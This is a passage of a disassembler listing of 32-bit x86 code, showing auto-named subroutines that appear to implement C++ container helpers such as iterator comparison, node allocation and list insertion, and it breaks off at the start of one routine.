sub_415A60	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401456
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415A60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A90	proc near		; CODE XREF: sub_40113Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_40175D
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415A90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AD0	proc near		; CODE XREF: sub_4016D6j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_40175D
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415AD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415B00	proc near		; CODE XREF: sub_40217Bj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C62
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401ED8
sub_415B00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401F19
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4021B7
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415BA0	proc near		; CODE XREF: sub_401735j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CBC
		test	al, al
		jz	short loc_415BED
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415BBA:				; CODE XREF: sub_415BA0+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A5F
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40217B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_40210D
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CBC
		test	al, al
		jnz	short loc_415BBA
		pop	edi


loc_415BED:				; CODE XREF: sub_415BA0+13j
		pop	esi
		retn	0Ch
sub_415BA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C20	proc near		; CODE XREF: sub_401FCDj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401578
		mov	ecx, eax
		call	sub_401C62
		mov	esi, eax
		push	esi
		call	sub_4020A9
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_4020A9
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401F19
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401500
		push	esi
		mov	ecx, edi
		call	sub_401CE9
sub_415C20	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CE0	proc near		; CODE XREF: sub_40146Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jz	short loc_415D3A


loc_415CF8:				; CODE XREF: sub_415CE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401578
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jnz	short loc_415CF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415D3A:				; CODE XREF: sub_415CE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415CE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415D70	proc near		; CODE XREF: sub_401ED8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020F4
sub_415D70	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415D85
		mov	edi, esi


loc_415D85:				; CODE XREF: ___:00415D81j
		push	esi
		call	sub_4020A9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415D9A
		mov	edi, esi


loc_415D9A:				; CODE XREF: ___:00415D96j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DC0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E1A
sub_415DC0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DE0	proc near		; CODE XREF: sub_4020A9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415DE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E00	proc near		; CODE XREF: sub_401F19j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E20	proc near		; CODE XREF: sub_401ED3j
		mov	eax, ecx
		retn
sub_415E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E40	proc near		; CODE XREF: sub_401DBBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40175D
		mov	eax, esi
		pop	esi
		retn	4
sub_415E40	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E70	proc near		; CODE XREF: sub_401578j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020C2
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415E70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415EA0	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415EA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415ED0	proc near		; CODE XREF: sub_401AAAj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F8C
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C8F
sub_415ED0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402144
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015F0
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415F70	proc near		; CODE XREF: sub_4017E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F8C
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402144
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D61
		push	esi
		mov	ecx, edi
		call	sub_401E33
sub_415F70	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416030	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jz	short loc_41608A


loc_416048:				; CODE XREF: sub_416030+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jnz	short loc_416048
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41608A:				; CODE XREF: sub_416030+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416030	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4160C0	proc near		; CODE XREF: sub_401C8Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015AF
sub_4160C0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4160D5
		mov	edi, esi


loc_4160D5:				; CODE XREF: ___:004160D1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4160EA
		mov	edi, esi


loc_4160EA:				; CODE XREF: ___:004160E6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416110	proc near		; CODE XREF: sub_401E33j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_416110	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416130	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416150	proc near		; CODE XREF: sub_402144j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416150	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416170	proc near		; CODE XREF: sub_401E97j
		mov	eax, ecx
		retn
sub_416170	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416190	proc near		; CODE XREF: sub_401CDAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161C0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018C5
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4161C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161F0	proc near		; CODE XREF: sub_401EC4j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4161F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416220	proc near		; CODE XREF: sub_401D11j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017DF
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DB6
sub_416220	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017DF
		push	edi
		mov	[eax], ebx
		call	sub_4017DF
		mov	edi, [eax]
		push	edi
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017E4
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E15
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4162C0	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EBF
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BCC
		push	esi
		mov	ebx, eax
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017DF
		push	esi
		mov	ebx, eax
		call	sub_401BCC
		mov	eax, [eax]
		push	eax
		call	sub_4017DF
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017E4
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401401
		push	esi
		mov	ecx, edi
		call	sub_401F14
sub_4162C0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416380	proc near		; CODE XREF: sub_40140Bj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4163DA


loc_416398:				; CODE XREF: sub_416380+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EBF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416398
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4163DA:				; CODE XREF: sub_416380+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416380	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416410	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401EBA
sub_416410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416425
		mov	edi, esi


loc_416425:				; CODE XREF: ___:00416421j
		push	esi
		call	sub_401BCC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41643A
		mov	edi, esi


loc_41643A:				; CODE XREF: ___:00416436j
		push	esi
		call	sub_4017DF
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416460	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401866
sub_416460	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416480	proc near		; CODE XREF: sub_401BCCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416480	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164A0	proc near		; CODE XREF: sub_4017E4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4164A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164C0	proc near		; CODE XREF: sub_401E42j
		mov	eax, ecx
		retn
sub_4164C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_401D7Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401618
		mov	eax, esi
		pop	esi
		retn	4
sub_4164E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416510	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416510	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416540	proc near		; CODE XREF: sub_401456j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416570	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416590	proc near		; CODE XREF: sub_4020F4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4165C0	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4165C0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165E0	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4165E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416610	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416610	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416630	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416630	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416650	proc near		; CODE XREF: sub_401A5Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_416650	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416670	proc near		; CODE XREF: sub_40210Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166A0	proc near		; CODE XREF: sub_401CBCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E74
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4166A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_401C62j
		mov	eax, [ecx]
		retn
sub_4166D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166F0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416710	proc near		; CODE XREF: sub_4015AFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416710	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416740	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416740	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416760	proc near		; CODE XREF: sub_4015F0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40205E
		add	esp, 8
		retn	8
sub_416760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416790	proc near		; CODE XREF: sub_401D61j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416790	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_401357j

